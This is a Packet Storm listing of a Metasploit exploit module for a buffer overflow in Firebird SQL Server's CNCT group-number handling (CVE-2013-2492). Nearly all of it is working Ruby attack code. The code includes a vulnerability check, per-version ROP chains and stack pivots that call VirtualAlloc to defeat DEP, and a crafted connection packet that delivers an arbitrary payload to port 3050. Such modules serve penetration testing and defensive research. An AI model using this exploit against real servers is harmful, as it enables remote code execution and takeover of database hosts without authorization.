Firebird Relational Database CNCT Group Number Buffer Overflow

2013-03-08T00:00:00
ID PACKETSTORM:120717
Type packetstorm
Reporter Spencer McIntyre
Modified 2013-03-08T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
include Msf::Exploit::Remote::Tcp  
  
def initialize  
super(  
'Name' => 'Firebird Relational Database CNCT Group Number Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability in Firebird SQL Server. A specially  
crafted packet can be sent which will overwrite a pointer allowing the attacker to  
control where data is read from. Shortly, following the controlled read, the  
pointer is called resulting in code execution.  
  
The vulnerability exists with a group number extracted from the CNCT information,  
which is sent by the client, and whose size is not properly checked.  
  
This module uses an existing call to memcpy, just prior to the vulnerable code,  
which allows a small amount of data to be written to the stack. A two-phases  
stackpivot allows to execute the ROP chain which ultimately is used to execute  
VirtualAlloc and bypass DEP.  
},  
'Author' => 'Spencer McIntyre',  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'References' =>  
[  
[ 'CVE', '2013-2492' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh'  
},  
'Payload' =>  
{  
# Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax]  
'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20",  
'Space' => 400,  
'BadChars' => "\x00\x0a\x0d"  
},  
'Targets' =>  
[  
# pivots are pointers to stack pivots  
[ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ],  
[ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ],  
[ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ],  
[ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ]  
],  
'DefaultTarget' => 0,  
'Privileged' => true,  
'DisclosureDate' => 'Jan 31 2013'  
)  
  
register_options([Opt::RPORT(3050)], self.class)  
end  
  
def check  
begin  
connect  
rescue  
return Exploit::CheckCode::Safe  
end  
  
filename = "C:\\#{rand_text_alpha(12)}.fdb"  
username = rand_text_alpha(7)  
  
check_data = ""  
check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"  
check_data << "\x00\x00\x00\x13"  
check_data << filename  
check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24"  
check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c"  
check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"  
check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"  
check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"  
check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"  
check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"  
check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"  
check_data << "\x00\x00\x00\x08"  
  
sock.put(check_data)  
data = sock.recv(16)  
disconnect  
  
opcode = data.unpack("N*")[0]  
version = data.unpack("N*")[1]  
if opcode == 3 # Accept  
if [ 0xffff800b, 0xffff800c ].include?(version)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Unknown  
end  
  
def stack_pivot_rop_chain  
case target.name  
when 'Windows FB 2.5.2.26539'  
rop_chain = [  
0x005e1ea4, # MOV EAX,EDI # RETN [fbserver.exe]  
0x0059ffeb, # POP EBP # RETN [fbserver.exe]  
0x0000153c, # 0x0000153c-> ebp  
0x005d261f, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]  
0x0059fe1f, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe]  
].pack("V*")  
when 'Windows FB 2.5.1.26351'  
rop_chain = [  
0x005e1ab8, # MOV EAX,EDI # RETN [fbserver.exe]  
0x0059650b, # POP EBP # RETN [fbserver.exe]  
0x0000153c, # 0x0000153c-> ebp  
0x005cf6ff, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]  
0x0059a3db, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe]  
].pack("V*")  
when 'Windows FB 2.1.5.18496'  
rop_chain = [  
0x0055b844, # MOV EAX,EDI # RETN [fbserver.exe]  
0x4a86ee77, # POP ECX # RETN [icuuc30.dll]  
0x000001c0, # 0x000001c0-> ebp  
0x005aee63, # ADD EAX,ECX # RETN [fbserver.exe]  
0x4a82d326, # XCHG EAX,ESP # RETN [icuuc30.dll]  
].pack("V*")  
when 'Debug'  
rop_chain = [ ].fill(0x41414141, 0..5).pack("V*")  
end  
return rop_chain  
end  
  
def final_rop_chain  
# all rop chains in here created with mona.py, thanks corelan!  
case target.name  
when 'Windows FB 2.5.2.26539'  
rop_chain = [  
0x4a831344, # POP ECX # RETN [icuuc30.dll]  
0x0065f16c, # ptr to &VirtualAlloc() [IAT fbserver.exe]  
0x005989f0, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]  
0x004666a6, # XCHG EAX,ESI # RETN [fbserver.exe]  
0x00431905, # POP EBP # RETN [fbserver.exe]  
0x00401932, # & push esp # ret [fbserver.exe]  
0x4a844ac0, # POP EBX # RETN [icuuc30.dll]  
0x00001000, # 0x00001000-> ebx  
0x4a85bfee, # POP EDX # RETN [icuuc30.dll]  
0x00001000, # 0x00001000-> edx  
0x005dae9e, # POP ECX # RETN [fbserver.exe]  
0x00000040, # 0x00000040-> ecx  
0x0057a822, # POP EDI # RETN [fbserver.exe]  
0x005b0384, # RETN (ROP NOP) [fbserver.exe]  
0x0046f8c3, # POP EAX # RETN [fbserver.exe]  
0x90909090, # nop  
0x00586002, # PUSHAD # RETN [fbserver.exe]  
].pack("V*")  
when 'Windows FB 2.5.1.26351'  
rop_chain = [  
0x00656472, # POP ECX # RETN [fbserver.exe]  
0x0065b16c, # ptr to &VirtualAlloc() [IAT fbserver.exe]  
0x00410940, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]  
0x0063be76, # XCHG EAX,ESI # RETN [fbserver.exe]  
0x0041d1ae, # POP EBP # RETN [fbserver.exe]  
0x0040917f, # & call esp [fbserver.exe]  
0x4a8589c0, # POP EBX # RETN [icuuc30.dll]  
0x00001000, # 0x00001000-> ebx  
0x4a864cc3, # POP EDX # RETN [icuuc30.dll]  
0x00001000, # 0x00001000-> edx  
0x0064ef59, # POP ECX # RETN [fbserver.exe]  
0x00000040, # 0x00000040-> ecx  
0x005979fa, # POP EDI # RETN [fbserver.exe]  
0x00424a50, # RETN (ROP NOP) [fbserver.exe]  
0x4a86052d, # POP EAX # RETN [icuuc30.dll]  
0x90909090, # nop  
0x005835f2, # PUSHAD # RETN [fbserver.exe]  
].pack("V*")  
when 'Windows FB 2.1.5.18496'  
rop_chain = [  
0x005763d5, # POP EAX # RETN [fbserver.exe]  
0x005ce120, # ptr to &VirtualAlloc() [IAT fbserver.exe]  
0x004865a4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe]  
0x004cf4f6, # XCHG EAX,ESI # RETN [fbserver.exe]  
0x004e695a, # POP EBP # RETN [fbserver.exe]  
0x004d9e6d, # & jmp esp [fbserver.exe]  
0x4a828650, # POP EBX # RETN [icuuc30.dll]  
0x00001000, # 0x00001000-> ebx  
0x4a85bfee, # POP EDX # RETN [icuuc30.dll]  
0x00001000, # 0x00001000-> edx  
0x00590328, # POP ECX # RETN [fbserver.exe]  
0x00000040, # 0x00000040-> ecx  
0x4a8573a1, # POP EDI # RETN [icuuc30.dll]  
0x0042ba8c, # RETN (ROP NOP) [fbserver.exe]  
0x00577605, # POP EAX # RETN [fbserver.exe]  
0x90909090, # nop  
0x004530ce, # PUSHAD # RETN [fbserver.exe]  
].flatten.pack("V*")  
when 'Debug'  
rop_chain = [ ].fill(0x41414141, 0..17).pack("V*")  
end  
return rop_chain  
end  
  
def exploit  
connect  
  
rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*")  
  
# this data gets written to the stack via memcpy, no more than 32 bytes can be written  
overwrite_and_rop_chain = [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot  
overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8]  
overwrite_and_rop_chain << stack_pivot_rop_chain  
  
filename = "C:\\#{rand_text_alpha(13)}.fdb"  
evil_data = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"  
evil_data << "\x00\x00\x00\x14"  
evil_data << filename  
evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24"  
evil_data << "\x05\x20"  
evil_data << overwrite_and_rop_chain  
evil_data << "\x15\x6c\x6f\x63\x61\x6c"  
evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"  
evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"  
evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"  
evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"  
evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"  
evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"  
evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41"  
evil_data << rop_nop_sled  
evil_data << final_rop_chain  
evil_data << payload.encoded  
  
print_status("#{rhost}:#{rport} - Sending Connection Request For #{filename}")  
sock.put(evil_data)  
  
disconnect  
end  
  
end  
`